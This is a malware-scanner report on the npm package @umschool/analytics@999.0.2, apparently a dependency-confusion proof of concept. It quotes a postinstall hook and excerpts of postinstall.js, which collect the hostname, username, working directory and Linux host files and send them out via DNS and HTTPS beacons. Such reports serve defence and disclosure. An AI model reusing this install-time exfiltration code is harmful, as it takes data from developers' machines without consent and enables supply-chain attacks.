@umschool/analytics@999.0.2: Malicious npm security report

Loading npm security reports…

@umschool/analytics@999.0.2: Malicious npm security report | LPM Firewall

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node postinstall.js" }

High

Suspicious Lifecycle Evidence

The package automatically runs postinstall.js during installation.

package.jsonView on unpkg · L6

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

postinstall.jsView file

4L5: const https = require('https'); L6: const dns = require('dns'); L7: const os = require('os'); ... L11: L12: const hostname = os.hostname(); L13: const user = os.userInfo().username; ... L25: // DNS beacon — works even behind strict k8s NetworkPolicy L26: const label = Buffer.from(hostname + '.' + user).toString('hex').slice(0, 40); L27: dns.lookup('dep.' + label + '.' + CALLBACK_DNS, () => {}); ... L43: req.on('error', () => {}); L44: req.end();

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

postinstall.jsView on unpkg · L4

12const hostname = os.hostname(); const user = os.userInfo().username; const cwd = process.cwd(); let etc_hostname = ''; let proc_version = ''; try { etc_hostname = require('fs').readFileSync('/etc/hostname','utf8').trim(); } catch(e) {} try { proc_version = require('fs').readFileSync('/proc/version','utf8').trim().slice(0,80); } catch(e) {}

High

Ai Review Evidence

The install script collects the hostname, username, working directory, and Linux host files.

postinstall.jsView on unpkg · L12

25// DNS beacon — works even behind strict k8s NetworkPolicy const label = Buffer.from(hostname + '.' + user).toString('hex').slice(0, 40); dns.lookup('dep.' + label + '.' + CALLBACK_DNS, () => {}); dns.resolve('rce.' + label + '.' + CALLBACK_DNS, () => {}); // HTTPS beacon try { const data = Buffer.from(JSON.stringify({ msg: 'Hello World from @umschool/analytics@999.0.2 — Dependency Confusion PoC', hostname, user, cwd, node: process.version, etc_hostname, proc_version, })).toString('base64'); const req = https.request({ hostname: CALLBACK_HTTP, port: 443, path: '/

High

Ai Review Evidence

It sends encoded host data to an external requestcatcher host over HTTPS and performs DNS beacons.

postinstall.jsView on unpkg · L25